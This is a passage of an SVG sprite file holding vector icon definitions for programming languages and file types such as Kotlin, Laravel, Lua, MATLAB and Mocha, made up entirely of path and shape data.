24.804-2.332-.023-4.385.027-6.71-.752zm16.653 1.378c-1.558.357-3.372.014-4.86-.015.7-6.969 2.397-14.659 2.995-21.974 2.342-.073 3.593 1.032 5.52 1.403.102 6.421-.562 15.268-3.655 20.586zm25.215-23.038c4.882 1.186 7.952 7.165 6.586 13.305-.916 4.127-2.548 11.898-4.295 14.538-1.29 1.953-4.79 4.51-7.584 2.72-4.545-2.91-12.552-3.755-15.867-7.278 1.662-5.534 2.178-13.135 2.864-20.146 5.678-.354 12.665 1.562 17.387-.471-3.297-1.068-7.575-1.077-10.423-2.633 2.328-1.125 7.778-.897 11.332-.035zM99.17-18.025c-3.43 8.063-6.543 16.42-11.663 22.918-4.96-3.327-10.423-6.456-11.817-12.497 7.1-4.017 15.379-7.98 23.481-10.422zm8.453 24.971c-.325-8.065-1.245-18.644-3.395-24.965 5.128 6.53 9.263 14.132 13.585 21.534-1.842 2.957-5.693 5.536-10.19 3.431zm-9.582 3.405c-1.943.21-3.592-2.233-6.117-1.177-.58-.64-1.105-1.333-1.695-1.958 5.579-6.723 8.114-16.262 12.423-24.163 2.312 7.59 2.045 15.904 2.555 24.188-3.177-.201-4.94 2.873-7.166 3.11zm-6.161 8.132c-.208-2.303.328-3.056.791-5.695 7.57-2.367 6.248 10.388-.791 5.695zm-8.394 2.755c-3.261 1.782-8.161 3.723-12.374 4.527-5.222.999-4.732-7.123-4.51-11.968.173-3.836 2.168-7.893 3.035-10.441.406-1.19.498-2.453 1.515-2.69 1.798-.418 7.73 1.954 9.42 2.875 3.575 1.95 6.348 5.045 9.384 7.123.04 1.011.078 2.021.119 3.032-1.826.91-3.935 1.555-6.615 1.673 1.818.914 4.492.901 6.148 1.989.016.405.033.81.047 1.21-3.024.234-4.176 1.58-6.17 2.67zm-31.152 5.659c-2.707-2.748 7.592-6.494 10.871-6.696-.018 1.739.991 3.378.788 4.626-3.895.684-9.013.232-11.66 2.07zm33.345-1.29c-.013-.27-.363-.172-.42-.39 3.482-2.722 6.07-3.285 10.81-3.05 2.137 1.551 4.033 3.365 6.259 4.818-5.124-.458-11.574-3.64-16.648-1.379zm30.606-9.282c-.146 3.053-.948 9.332-2.835 10.431-3.961 2.312-11.002-4.668-13.984-5.732.324-.934.86-1.674.901-2.868 1.764.434 3.912.137 5.44-.615-1.767-.198-3.727-.185-4.897-1.027-.429-1.239.105-2.927-.18-4.647 4.196-1.184 8.989-1.814 14.294-1.97 1.032 1.341 1.383 3.896 1.261 6.429zM47.777 24.24c-.85.606-6.6 8.087-7.388 7.777-10.405-4.103-20.134-11.199-28.828-17.91 8.29-17.787 11.635-39.579 12.227-60.582 9.496-4.441 17.836-10.844 30.722-11.512-1.491 10.55-2.852 19.962-3.699 29.895-3.237 1.365-7.882-.062-10.913.423-.025 3.651 4.628 1.6 5.015 4.054.292 1.858-2.56 1.998-1.631 4.923 2.368-.861 3.612-2.763 6.138-3.477 2.309 5.05-.032 13.985.3 18.205.064.792.397 4.39 2.172 3.759 1.57-.559-.09-9.569.082-13.563.157-3.68-.444-7.242 1.046-9.552a355.817 355.817 0 0 0 38.576 3.16c-2.964 1.272-6.485 2.475-10.345 4.651-2.093 1.18-8.69 3.635-9.293 5.622-.964 3.167 2.528 4.855 3.125 7.57-6.285-3.428-7.511 3.286-8.998 8.042-1.347 4.308-2.114 7.526-2.445 10.01-5.414 2.581-11.203 5.195-15.863 8.505zm63.009 6.872c8.67 4.204 10.232-15.711 6.834-22.127.525-1.914 2.331-2.646 3.069-4.366-4.838-8.667-10.211-16.756-15.148-25.32 3.672 2.286 8.917.409 13.238 2.12 1.58.624 2.722 4.24 3.918 7.133 3.29 7.958 6.743 17.99 8.28 25.586.346 1.73 1.292 5.5 1.08 7.04-.378 2.758-4.12 4.803-6.022 6.508-3.506 3.15-5.714 5.921-9.371 8.866-1.483-2.189-4.666-3.66-5.878-5.44zM27.95 107.99c-4.13-4.545-3.266-13.062-2.766-19.121 7.467 4.697 17.377-.372 17.284-8.36 3.565.094 1.332 4.452.687 7.259-2.107 9.169 3.55 19.13.256 27.516-6.395-.485-11.649-3.097-15.46-7.294zm29.558 26.38c-9.352-2.65-21.337-9.446-25.18-17.847 2.976.432 5.041 1.933 7.977 2.119 1.11.072 2.563-.466 3.838-.148 2.54.63 4.685 6.327 6.602 8.447 1.868 2.07 4.114 2.954 5.651 4.841.988.477 2.448.444 2.504 1.927-.428.457-.879.806-1.392.66zm48.681-2.493c-9.707 5.477-26.136 9.596-36.462 4.449-8.331-4.155-19.593-11.027-23.433-19.737 3.587-8.405-1.062-16.106-1.36-24.64-.157-4.54 2.139-8.504 2.315-13.446-1.228-2.025-4.978-2.275-7.574-2.136-.873 4.372-2.403 9.287-6.906 9.78-6.371.697-11.03-4.576-11.319-10.085-.342-6.48 4.978-17.22 12.517-16.475 2.913.287 3.629 3.207 6.802 3.177 1.72-3.432-2.653-4.51-3.103-6.964-.117-.634.363-3.112.642-4.274 1.37-5.658 4.422-12.982 7.427-17.29 3.814-5.464 11.307-6.288 19.37-6.823 1.44 3.101 6.743 2.846 10.2 2.035-4.143 1.64-7.993 5.617-11.185 9.137-3.665 4.039-7.378 8.371-7.566 13.65 6.927-9.61 12.65-18.003 25.246-22.23 9.53-3.196 20.662 1.465 27.986 6.608 3.039 2.137 4.853 5.529 7.013 8.634 8.082 11.626 11.854 28.219 11.024 44.303-.342 6.633-.327 13.244-2.552 17.706-2.326 4.666-10.193 8.84-14.8 4.62-.853 4.537 3.83 7.344 9.331 5.71-3.922 5.063-8.039 11.145-13.614 14.29zm18.084-149.66c7.585 3.77 21.757 10.149 26.512-.014 1.755-3.746 3.814-10.079 4.723-13.946 1.284-5.456-1.392-16.923-7-18.754-4.953-1.617-10.733-1.518-16.7-.32-.702.585-1.484 1.603-2.03 2.665-4.261.165-8.25-.229-11.615-1.98.319-3.15-1.812-3.656-3.81-4.305-1.48-5.872 2.963-13.541 1.9-18.896-.76-3.815-5.453-4.405-8.902-5.118-.113-2.12.15-3.89.386-5.683-.789-2.907-4.327-4.561-7.679-4.967-11.029-1.326-27.775-1.922-38.384 1.893-2.96 7.261-5.292 16.093-7.758 24.384-10.346-1.105-18.715 4.464-26.603 8.113-2.731 1.266-6.51 1.964-7.53 4.138-.99 2.105-.584 6.14-.83 9.95-.625 9.733-1.16 19.12-3.73 29.086-1.154 4.472-3.165 8.418-4.568 12.727C9.358 5.184 7.092 10.12 6.5 14.1c-.877 5.903 4.681 6.232 8.235 8.79 5.494 3.954 9.806 6.142 15.756 9.711 1.762 1.057 7.077 3.733 7.681 4.966 1.202 2.443-2.062 5.888-2.935 7.803-1.38 3.03-2.1 5.602-2.298 8.59-4.992.789-8.775 3.76-11.06 7.109-3.781 5.543-6.403 15.798-3.132 23.599.257.614 1.536 1.822 1.725 2.765.372 1.858-.7 4.329-.768 6.305-.343 10.14 1.716 18.875 8.541 21.932 2.771 11.038 12.688 14.71 22.032 20.195 3.493 2.05 7.343 3.36 11.32 4.824 14.263 5.25 36.15 4.261 47.987-4.692 5.02-3.797 13.044-11.813 15.914-17.617 7.58-15.323 7.042-40.931 1.74-59.571-.712-2.503-1.746-6.181-3.19-9.187-1.006-2.1-4.134-6.3-3.754-8.153.391-1.916 7.132-7.034 8.577-8.428 2.603-2.51 7.548-5.843 7.948-9.012.43-3.372-1.485-7.984-2.456-11.238-3.245-10.858-6.412-20.895-10.091-30.576" fill="#231f20"/><path d="M73.674 57.38c.411.548 2.674 1.38 5.84-.144 0 0-3.752-.626-3.44-6.881l-1.564.313s-1.615 5.672-.836 6.712" fill="#f7e4cd"/><path d="M101.09 3.617a1.72 1.72 0 1 0-3.44.001 1.72 1.72 0 0 0 3.44-.001M102.81-4.355a1.72 1.72 0 1 0-3.44 0 1.72 1.72 0 0 0 3.44 0" fill="#1d1919"/></g><g><rect transform="matrix(.8 0 0 -.8 0 144)" x="16.854" y="177.38" width="70.412" height="4.12" rx=".983" ry=".983"/><rect transform="scale(1 -1)" x="78.502" y="-2.097" width="50.037" height="3.296" rx=".786" ry=".786"/><rect transform="scale(1 -1)" x="13.483" y="-3.697" width="54.831" height="3.296" rx=".786" ry=".786"/><rect transform="scale(1 -1)" x="83.296" y="-3.697" width="45.243" height="3.296" rx=".786" ry=".786"/></g></g></symbol><symbol viewBox="0 0 24 24" id="json" xmlns="http://www.w3.org/2000/svg"><path d="M5 3h2v2H5v5a2 2 0 0 1-2 2 2 2 0 0 1 2 2v5h2v2H5c-1.07-.27-2-.9-2-2v-4a2 2 0 0 0-2-2H0v-2h1a2 2 0 0 0 2-2V5a2 2 0 0 1 2-2m14 0a2 2 0 0 1 2 2v4a2 2 0 0 0 2 2h1v2h-1a2 2 0 0 0-2 2v4a2 2 0 0 1-2 2h-2v-2h2v-5a2 2 0 0 1 2-2 2 2 0 0 1-2-2V5h-2V3h2m-7 12a1 1 0 0 1 1 1 1 1 0 0 1-1 1 1 1 0 0 1-1-1 1 1 0 0 1 1-1m-4 0a1 1 0 0 1 1 1 1 1 0 0 1-1 1 1 1 0 0 1-1-1 1 1 0 0 1 1-1m8 0a1 1 0 0 1 1 1 1 1 0 0 1-1 1 1 1 0 0 1-1-1 1 1 0 0 1 1-1z" fill="#fbc02d"/></symbol><symbol viewBox="0 0 50 50" id="julia" xmlns="http://www.w3.org/2000/svg"><g transform="translate(0 -247)" stroke-width="5.673"><circle cx="13.497" cy="281.632" r="9.555" fill="#bc342d"/><circle cx="36.081" cy="281.632" r="9.555" fill="#864e9f"/><circle cx="24.722" cy="262.389" r="9.555" fill="#328a22"/></g></symbol><symbol viewBox="0 0 64 64" id="karma" xmlns="http://www.w3.org/2000/svg"><g transform="translate(0 -233)"><path d="M38.556 288.413l-20.29-26.687 9.532-7.246 20.29 26.686h-.001.002l5.527 7.247z" fill="#359b8b" stroke-width=".173"/><path d="M35.681 241.172L24.92 255.327v-14.13H12.947v13.817l7.84 33.235h4.132v-13.147l.003.003 20.29-26.686-.008-.006 5.504-7.24H35.84v.12z" fill="#3cbeae" stroke-width=".206"/></g></symbol><symbol viewBox="0 0 24 24" id="key" xmlns="http://www.w3.org/2000/svg"><path d="M7 14a2 2 0 0 1-2-2 2 2 0 0 1 2-2 2 2 0 0 1 2 2 2 2 0 0 1-2 2m5.65-4A5.99 5.99 0 0 0 7 6a6 6 0 0 0-6 6 6 6 0 0 0 6 6 5.99 5.99 0 0 0 5.65-4H17v4h4v-4h2v-4H12.65z" fill="#26a69a"/></symbol><symbol viewBox="0 0 24 24" id="kivy" xmlns="http://www.w3.org/2000/svg"><g transform="matrix(1.89 0 0 1.89 -12.157 -11.429)" fill="#90a4ae"><path d="M7.026 8.63v4.474l1.928-1.928a.437.437 0 0 0 0-.619zM9.38 16.072v-4.474l-1.927 1.927a.437.437 0 0 0 0 .62zM18.576 10.412l-5.346.564-.017.018 2.39 2.39zM9.922 8.502s.023 3.304-.003 4.452c-.02.856.371 1.114.746 1.507.538.564 1.599 1.57 1.599 1.57a.53.53 0 0 0 .75 0l1.843-1.844a.53.53 0 0 0 0-.75z"/></g></symbol><symbol viewBox="0 0 24 24" id="kl" xmlns="http://www.w3.org/2000/svg"><defs><style>.a{fill:#3aaae1}.b{fill:#fdfeff}</style></defs><title>kl</title><path d="M12.033 1.737c-.25-.003-.5.11-.729.337C8.225 5.15 5.15 8.227 2.078 11.31c-.144.144-.229.346-.341.521v.41c.16.223.294.474.485.666a3259.51 3259.51 0 0 0 8.936 8.937c.193.192.443.325.666.486h.41c.205-.142.436-.256.609-.428 3.046-3.041 6.09-6.083 9.133-9.127.47-.47.472-1.005.006-1.472l-9.218-9.217c-.23-.23-.48-.347-.731-.35zm-1.062 4.545l1.386.832c.702.422 1.403.846 2.109 1.262a.544.544 0 0 1 .04.026l.016.013.017.013c.061.056.089.123.088.224a510.281 510.281 0 0 0 0 3.794.463.463 0 0 1-.007.094c-.015.069-.054.103-.142.109a.464.464 0 0 1-.044.002c-.045-.002-.09-.002-.136-.003-.323-.006-.648-.001-.998-.001v-.527-1.34-.671-.003l.004-.668c0-.147-.039-.231-.17-.308-.893-.528-1.78-1.066-2.67-1.6-.051-.03-.101-.065-.173-.111l.001-.003h-.001zm.362 3.39c.068-.003.119.043.173.138.085.148.174.293.264.44l.015.025c.096.154.194.31.292.47l-1.915 1.176c-.337.207-.673.417-1.014.617-.113.067-.154.143-.154.277.01.977.01 1.955.014 2.932V16H7.7V16h-.002c-.004-.053-.014-.112-.014-.17-.005-1.25-.006-2.501-.015-3.751 0-.142.045-.222.164-.294a467.13 467.13 0 0 0 3.353-2.054l.016-.01a.606.606 0 0 1 .032-.017l.016-.008a.308.308 0 0 1 .033-.013l.012-.004a.157.157 0 0 1 .028-.005l.01-.001zm5.677 3.126l.314.54.346.594v.001c-.158.094-.298.178-.438.259l-3.097 1.798c-.106.062-.189.071-.3.01l-.893-.496-1.524-.843-.895-.493c-.035-.02-.068-.044-.129-.085h.001l.137-.25.495-.902 1.446.795c.442.243.886.483 1.323.734.121.07.212.072.334 0 .894-.525 1.792-1.043 2.689-1.563.057-.034.118-.061.191-.1z" fill="#29b6f6" stroke-width=".041"/></symbol><symbol viewBox="0 0 24 24" id="kotlin" xmlns="http://www.w3.org/2000/svg"><defs><linearGradient id="gpb"><stop offset="0" stop-color="#cb55c0"/><stop offset="1" stop-color="#f28e0e"/></linearGradient><linearGradient id="gpa"><stop offset="0" stop-color="#0296d8"/><stop offset="1" stop-color="#8371d9"/></linearGradient><linearGradient xlink:href="#gpa" id="gpc" x1="1.725" y1="22.67" x2="22.185" y2="1.982" gradientUnits="userSpaceOnUse" gradientTransform="translate(1.638 1.155) scale(.89324)"/><linearGradient xlink:href="#gpb" id="gpd" x1="1.869" y1="22.382" x2="22.798" y2="3.377" gradientUnits="userSpaceOnUse" gradientTransform="translate(1.638 1.155) scale(.89324)"/></defs><path d="M3.307 3.003v18.048h18.05v-.03L16.88 16.51l-4.48-4.515 4.48-4.515 4.443-4.477H3.307z" fill="url(#gpc)"/><path d="M12.538 3.003l-9.23 9.23v8.818h.083l9.032-9.032-.025-.024 4.48-4.515 4.444-4.477h-8.784z" fill="url(#gpd)"/></symbol><symbol viewBox="0 0 240 240" id="laravel" xmlns="http://www.w3.org/2000/svg"><path d="M216.05 119.036c-1.433.343-24.945 6.673-24.945 6.673l-19.227-28.622c-.537-.828-.99-1.656.359-1.849 1.345-.196 23.195-4.477 24.182-4.723.99-.245 1.837-.536 3.053 1.267 1.21 1.8 17.836 24.626 18.464 25.506.627.877-.447 1.41-1.883 1.748m-4.101 49.326c.588 1.003 1.176 1.64-.67 2.367-1.843.73-62.243 22.847-63.418 23.39-1.173.546-2.092.73-3.607-1.637-1.51-2.362-21.16-39.264-21.16-39.264l64.03-18.075c1.876-.644 2.317-.405 3.103.822 1.074 1.68 21.143 31.403 21.726 32.4m-103.7-21.087c-.78.202-37.566 9.733-39.525 10.22-1.965.485-1.965.246-2.188-.49-.226-.727-43.728-98.053-44.333-99.271-.605-1.214-.574-2.177 0-2.177.571 0 34.734-3.313 35.944-3.383 1.207-.07 1.08.205 1.526 1.033l49.025 91.818c.84 1.58 1.239 1.81-.452 2.248m94.588-59.77c-3.5-4.58-5.2-3.751-7.357-3.41-2.154.336-27.277 4.915-30.194 5.449-2.918.536-4.758 1.803-2.963 4.53 1.597 2.422 18.113 27.824 21.751 33.42l-65.663 17.066L66.18 49.832c-2.075-3.342-2.507-4.514-7.236-4.28-4.735.23-40.969 3.495-43.55 3.731-2.58.233-5.416 1.479-2.835 8.09 2.583 6.612 43.734 102.82 44.88 105.62 1.149 2.803 4.128 7.345 11.11 5.527 7.157-1.871 31.969-8.894 45.52-12.742 7.163 14.07 21.77 42.619 24.473 46.707 3.607 5.459 6.089 4.56 11.626 2.738 4.325-1.42 67.65-26.129 70.502-27.4 2.855-1.273 4.613-2.184 2.685-5.275-1.419-2.28-18.124-26.558-26.876-39.26 5.993-1.733 27.305-7.888 29.575-8.557 2.646-.779 3.008-2.19 1.572-3.94-1.436-1.755-21.293-28.72-24.79-33.296z" fill="#ff5722" stroke="#ff5722" stroke-width="8.852" fill-rule="evenodd"/></symbol><symbol viewBox="0 0 24 24" id="less" xmlns="http://www.w3.org/2000/svg"><path d="M13.696 2.999V5h2.002v5a2 2 0 0 0 1.999 2 2 2 0 0 0-2 2v5h-2v2h2a2 2 0 0 0 2-2v-4a2 2 0 0 1 2-2h1V11h-1a2 2 0 0 1-2-2V5a2 2 0 0 0-2-2.001zm-.03 12.766v.47a1 1 0 0 0 .03-.236 1 1 0 0 0-.03-.234zM10.566 21v-2.001H8.565v-5a2 2 0 0 0-2-2 2 2 0 0 0 2-2V5h2.001v-2H8.565a2 2 0 0 0-2 2v4a2 2 0 0 1-2 2h-.999V13h1a2 2 0 0 1 2 2v3.999A2 2 0 0 0 8.564 21zm.03-12.766v-.47a1 1 0 0 0-.03.236 1 1 0 0 0 .03.234z" fill="#42a5f5"/></symbol><symbol viewBox="0 0 24 24" id="lib" xmlns="http://www.w3.org/2000/svg"><path d="M19 7H9V5h10m-4 10H9v-2h6m4-2H9V9h10m1-7H8a2 2 0 0 0-2 2v12a2 2 0 0 0 2 2h12a2 2 0 0 0 2-2V4a2 2 0 0 0-2-2M4 6H2v14a2 2 0 0 0 2 2h14v-2H4V6z" fill="#8bc34a"/></symbol><symbol viewBox="0 0 40 40" id="livescript" xmlns="http://www.w3.org/2000/svg"><g transform="translate(0 -257)" fill="#317eac"><path stroke-width="3.299" d="M5.419 260.18h3.685v34.207H5.419z"/><path stroke-width="3.299" d="M37.074 288.197v3.685H2.867v-3.685z"/><path stroke-width="2.894" d="M29.612 265.658l2.004 2.005L7.428 291.85l-2.004-2.005z"/><path stroke-width="2.325" d="M10.73 262.471h2.835v22.08H10.73z"/><path stroke-width="2.063" d="M15.36 262.519h2.835v17.382H15.36z"/><path stroke-width="1.77" d="M19.99 262.471h2.835v12.802H19.99z"/><path stroke-width="1.422" d="M24.526 262.491h2.835v8.254h-2.835z"/><path stroke-width="1.128" d="M28.783 262.463h2.835v5.197h-2.835z"/><path stroke-width="2.325" d="M34.801 286.545v-2.835h-22.08v2.835z"/><path stroke-width="2.063" d="M34.753 281.914v-2.835H17.371v2.835z"/><path stroke-width="1.77" d="M34.801 277.284v-2.835H21.999v2.835z"/><path stroke-width="1.422" d="M34.781 272.749v-2.835h-8.254v2.835z"/><path stroke-width="1.128" d="M34.809 268.492v-2.835h-5.197v2.835z"/></g></symbol><symbol viewBox="0 0 24 24" id="lock" xmlns="http://www.w3.org/2000/svg"><path d="M12 17a2 2 0 0 0 2-2 2 2 0 0 0-2-2 2 2 0 0 0-2 2 2 2 0 0 0 2 2m6-9a2 2 0 0 1 2 2v10a2 2 0 0 1-2 2H6a2 2 0 0 1-2-2V10a2 2 0 0 1 2-2h1V6a5 5 0 0 1 5-5 5 5 0 0 1 5 5v2h1m-6-5a3 3 0 0 0-3 3v2h6V6a3 3 0 0 0-3-3z" fill="#ffd54f"/></symbol><symbol viewBox="0 0 24 24" id="lua" xmlns="http://www.w3.org/2000/svg"><circle cx="12.203" cy="12.102" r="10.322" fill="none" stroke="#42a5f5"/><path d="M12.33 5.746a6.483 6.381 0 0 0-6.482 6.381 6.483 6.381 0 0 0 6.482 6.38 6.483 6.381 0 0 0 6.484-6.38 6.483 6.381 0 0 0-6.484-6.38zm1.86 1.916a2.329 2.292 0 0 1 2.33 2.293 2.329 2.292 0 0 1-2.33 2.291 2.329 2.292 0 0 1-2.329-2.29 2.329 2.292 0 0 1 2.328-2.294z" fill="#42a5f5" fill-rule="evenodd"/><ellipse cy="4.615" cx="19.631" rx="2.329" ry="2.292" fill="#42a5f5" fill-rule="evenodd"/></symbol><symbol viewBox="0 0 24 24" id="markdown" xmlns="http://www.w3.org/2000/svg"><path d="M2 16V8h2l3 3 3-3h2v8h-2v-5.17l-3 3-3-3V16H2m14-8h3v4h2.5l-4 4.5-4-4.5H16V8z" fill="#42a5f5"/></symbol><symbol viewBox="0 0 24 24" preserveAspectRatio="xMidYMid" id="markojs" xmlns="http://www.w3.org/2000/svg"><g transform="translate(0 -120.96)" stroke-width=".984"><path d="M4.002 126.482c-.655 1.07-1.32 2.14-1.976 3.21-.655 1.06-1.308 2.142-1.963 3.212l.002.002-.002.002c.655 1.07 1.308 2.15 1.963 3.211.655 1.07 1.32 2.141 1.976 3.211h3.33c-.664-1.07-1.318-2.14-1.974-3.21-.653-1.069-1.307-2.145-1.961-3.214.654-1.068 1.308-2.146 1.961-3.215a601.93 601.93 0 0 1 1.974-3.209z" fill="#2196f3"/><path d="M3.999 126.482l-.002.002c.655 1.07 1.31 2.15 1.964 3.212.655 1.07 1.32 2.14 1.974 3.21h3.331c-.664-1.07-1.319-2.14-1.974-3.21-.653-1.068-1.306-2.146-1.96-3.214z" fill="#26a69a"/><path d="M15.203 126.482l.002.002c-.655 1.07-1.31 2.15-1.965 3.212-.655 1.07-1.319 2.14-1.974 3.21h-3.33c.664-1.07 1.318-2.14 1.973-3.21.654-1.069 1.307-2.146 1.961-3.214z" fill="#8bc34a"/><path d="M11.874 126.484c.664 1.07 1.318 2.14 1.974 3.21.653 1.068 1.307 2.146 1.961 3.214-.654 1.069-1.308 2.145-1.961 3.213-.656 1.07-1.31 2.14-1.974 3.21h3.33c.655-1.07 1.319-2.14 1.974-3.21.655-1.06 1.31-2.14 1.966-3.21l-.002-.003.002-.002c-.656-1.07-1.311-2.152-1.966-3.213-.655-1.07-1.319-2.138-1.974-3.209z" fill="#ffc107"/><path d="M16.74 126.482c.665 1.07 1.319 2.14 1.974 3.21.654 1.068 1.306 2.146 1.96 3.214-.654 1.069-1.306 2.145-1.96 3.213-.655 1.07-1.31 2.141-1.974 3.211h3.33c.656-1.07 1.32-2.14 1.974-3.21.655-1.062 1.31-2.141 1.966-3.212l-.002-.002.002-.002c-.655-1.07-1.31-2.152-1.966-3.213-.655-1.07-1.318-2.138-1.973-3.209z" fill="#f44336"/></g></symbol><symbol viewBox="0 0 23 24" id="mathematica" xmlns="http://www.w3.org/2000/svg"><path d="M11.512 1.523l-.073.025-.46.794-.454.763-1.217 2.09H9.29L5.435 3.5l-.1-.047h-.018v.092l.025.163v.086l.132 1.226v.082l.032.252v.082l.22 2.137v.075l.018.082v.06l-2.348.507-.04.015-.457.1-.025.01h-.042l-1.096.244-.04.007-.17.036v.082l.018.01 1.859 2.086.053.052.114.132.804.909v.005l-.053.05-.22.257-2.564 2.875-.01.007v.082l.071.006.295.075 1.697.366v.006l2.139.472h.015v.047l-.036.252v.08l-.046.412v.082l-.036.244v.082l-.045.412v.08l-.05.41v.08l-.036.244v.082l-.046.412v.082l-.05.407v.082l-.032.248V20l-.05.407v.104h.037l3.642-1.6.294-.134h.018l.177.312.539.911.015.032.854 1.465.16.262.404.695.007.022h.092l.005-.022.017-.025.56-.947.014-.042.6-1.033.316-.539.644-1.091.05.013 3.906 1.721h.035v-.085l-.138-1.32v-.082l-.032-.244v-.082l-.035-.245v-.085l-.033-.244v-.081l-.032-.245v-.082l-.032-.244v-.085l-.035-.245v-.082l-.032-.245v-.082l-.033-.244v-.085l-.025-.17v-.053l1.632-.354.043-.008.458-.107h.028v-.01l.23-.05.03-.01h.042l.382-.09.025-.01h.043l.194-.05h.033l1.015-.23.07-.007v-.064l-.015-.013-1.19-1.342-.028-.028-.197-.22-1.428-1.604v-.006l.295-.323.4-.457 2.148-2.408.015-.01v-.065l-.035-.008-1.288-.28-.372-.084-.047-.01-2.481-.544v-.045l.432-4.265v-.02h-.042l-.302.135-.01.014h-.025l-3.307 1.45-.297.135h-.015l-2.028-3.483-.099-.145-.014-.045zm-.001 1.114l1.365 2.323.34.592-.008.025-1.18 1.511-.517.66-.012-.01-.258-.335-.04-.05-1.397-1.787.03-.063 1.378-2.365.287-.491zm4.908 2.039l-.007.025-.168.225-.538.066zm-9.817.004l.053.02.677.3h-.499l-.224-.3zM16.947 5l-.123 1.248-.113-.928.226-.307zm-9.26.156l.053.024.705.309-.757-.175zm7.388.116l.02.168-1.318.403.003-.003.16-.071 1.015-.444zM9.669 6.388l.944 1.204v.01L9.483 7.2zm3.55.172l.21.682-.234.084-.089.022-.702.255.008-.022.776-.982zm-5 .836l.986.356.898.312.048.02 1.054.373.011 3.086-.362-.117-.67-.224-.081-.038-.735-.245-.77-.256-.29-.1-.011-.255-.032-1.195-.01-.287-.015-.894-.013-.297zm6.583 0l-.011.227-.028.9-.008.303-.032 1.475-.01.262-.337.117-.734.245-.77.256-.712.245-.355.117.01-3.086 1.632-.578zm.585.437l.09.735.79-.097-.915 1.302-.018.006.01-.183.018-.877zm-9.451.536l.152.22 1.447 2.049-2.607.968-.05.015-1.972-2.214-.28-.312.003-.01.115-.018.424-.1.14-.021.337-.078.042-.01zm11.146.003l3.284.713.029.01-.022.025-1.954 2.192-.277.312-.092-.036-2.564-.95.475-.681.152-.216zM6.787 8.52h.86l.036 1.258-.013-.006-.763-1.078zm1.358 2.625l.152.06.77.252.712.245.746.247.49.167-.065.092-1.723 2.334-1.015-.302-.082-.017-.035-.015-1.902-.56.938-1.22.981-1.277zm6.73 0l.033.006 1.787 2.327.132.17-.128.036-.032.014-2.196.642-.105.032-.564.17-.018-.003-1.053-1.44-.174-.239-.547-.726-.007-.018.469-.16.769-.254.713-.245.77-.252zm-7.766.305l-.007.02-.405.523-.291-.291.657-.245zm8.802 0l.043.007.578.212.714.27-.661.394-.375-.479-.03-.042-.262-.342zm-10.843.75l-.67.668.355-.397.207-.23zm12.911.016l.068.025.045.042.554.627.042.043.204.228-.255.135zm-6.473.265l.022.015 1.38 1.872.032.05.343.465.008.031-.088.117-.422.629-.047.074-.245.343-.97 1.43-.013.007-1.18-1.72-.096-.16-.493-.708-.008-.037 1.618-2.191.007-.01zm7.827 1.194l.565.633.063.082-.272-.093-.037-.013zm-15.785.148l.297.299-.637.218-.152.05.038-.058zm13.224.47l-.855.448.346.66-.185-.058-.27-.088-1.092-.348.012-.01zm-9.687.255l1.222.356-.006.007-.458.145-.443.135-.032.01-.49.157zm-2.765.048l.318.32 2.007.517-.567.18-.055.004-2.103-.469-.744-.156.007-.006zm14.966.205l.548.188v.003l-.457.1-.043.014-1.069.23zm-10.23.507l.007.227.01.347.025 1.363.025.691-.007.255-.24.107-2.863 1.255.032-.372.033-.255.017-.227.031-.256.037-.407.045-.42.018-.23.032-.251.032-.412.05-.414.013-.14 1.455-.457.003-.014.301-.098zm4.908 0l1.245.39v.014l.312.1 1.146.362.022.23.03.255.043.408.04.42.017.23.033.251.032.412.042.325.078.848-.078-.04-3.025-1.322-.004-.305.06-2.368zm-4.295.617l.015.007.067.107.6.875-.64.531-.034-1.438zm3.671 0h.008l-.005.06-.02.678-.005.214-.479-.223zm-2.888 3.605l.763.915.001.37-.017-.006-.025-.05-.464-.791-.012-.018zm1.53.61l.184.083-.343.586-.018.007.002-.532z" fill="#f44336" fill-rule="evenodd" stroke="#f44336" stroke-width=".7747499999999999" stroke-linejoin="round"/></symbol><symbol viewBox="0 0 720 720" id="matlab" xmlns="http://www.w3.org/2000/svg"><title>Layer 1</title><path d="M209.247 329.98L52.368 387.638l121.325 85.822 96.752-95.804-61.198-47.674z" fill="#4db6ac" fill-rule="evenodd" stroke-width=".3"/><path d="M480.193 71.446c-13.123 1.784-9.565 1.013-28.4 16.09-18.008 14.418-69.925 100.347-97.673 129.256-24.688 25.722-34.46 12.199-60.102 33.661-25.68 21.494-65.273 64.464-65.273 64.464l63.978 47.32L394.15 222.754c23.948-32.932 23.694-37.266 36.744-71.82 6.384-16.907 17.76-29.9 27.756-45.809 12.488-19.874 30.186-34.855 21.543-33.68z" fill="#00897b" fill-rule="evenodd" stroke-width=".3"/><path d="M478.206 69.796c-31.268-.189-62.068 137.245-115.56 242.691-54.543 107.519-162.235 176.82-162.235 176.82 18.156 8.243 34.681 4.91 54.236 23.394 13.375 16.164 52.09 95.976 75.174 146.117 0 0 18.964-10.297 42.994-27.695 24.03-17.397 53.124-41.896 73.384-70.3 26.883-37.692 47.897-61.043 65.703-75.271 17.806-14.23 32.404-19.336 46.458-20.54 50.238-4.305 124.582 85.792 124.582 85.792S527.267 70.09 478.206 69.796z" fill="#ffb74d" fill-rule="evenodd" stroke-width=".3"/></symbol><symbol viewBox="0 0 24 24" id="merlin" xmlns="http://www.w3.org/2000/svg"><text style="line-height:1.25;-inkscape-font-specification:'Century Gothic Bold'" x="1.953" y="21.178" transform="scale(.99582 1.0042)" font-weight="700" font-size="30.255" font-family="Century Gothic" letter-spacing="0" word-spacing="0" fill="#42a5f5" stroke-width=".756"><tspan x="1.953" y="21.178" style="-inkscape-font-specification:'Century Gothic Bold'" font-size="22.745">M</tspan></text></symbol><symbol viewBox="0 0 192 191.99999" id="mocha" xmlns="http://www.w3.org/2000/svg"><title>Mocha Logo</title><g transform="translate(-354.75 -262.42) scale(4.835)" fill="#a1887f"><path d="M103.6 69.6c0-.5-.4-1-1-1H83.8c-.5 0-1 .4-1 1 0 3.4.5 15.1 5.5 20.8.2.2.4.3.7.3h8.4c.3 0 .5-.1.7-.3 5-5.6 5.5-17.3 5.5-20.8zm-7.4 18.2h-5.9c-.3 0-.5-.1-.7-.3-3.4-4-3.8-12-3.9-14.8 0-.5.4-1 1-1h13.2c.5 0 1 .4 1 1 0 2.8-.5 10.7-3.9 14.8-.3.2-.5.3-.8.3zM95.1 66.6s3.6-2.1 1.4-5.9c-1.3-2-1.9-3.7-1.4-4.4-1.3 1.6-3.5 3.3-1.1 6.9.8.9 1.2 2.8 1.1 3.4zM91.1 66.9s2.4-1.4.9-4c-.9-1.3-1.3-2.5-.9-2.9-.9 1.1-2.3 2.2-.7 4.7.5.5.7 1.8.7 2.2z"/><path 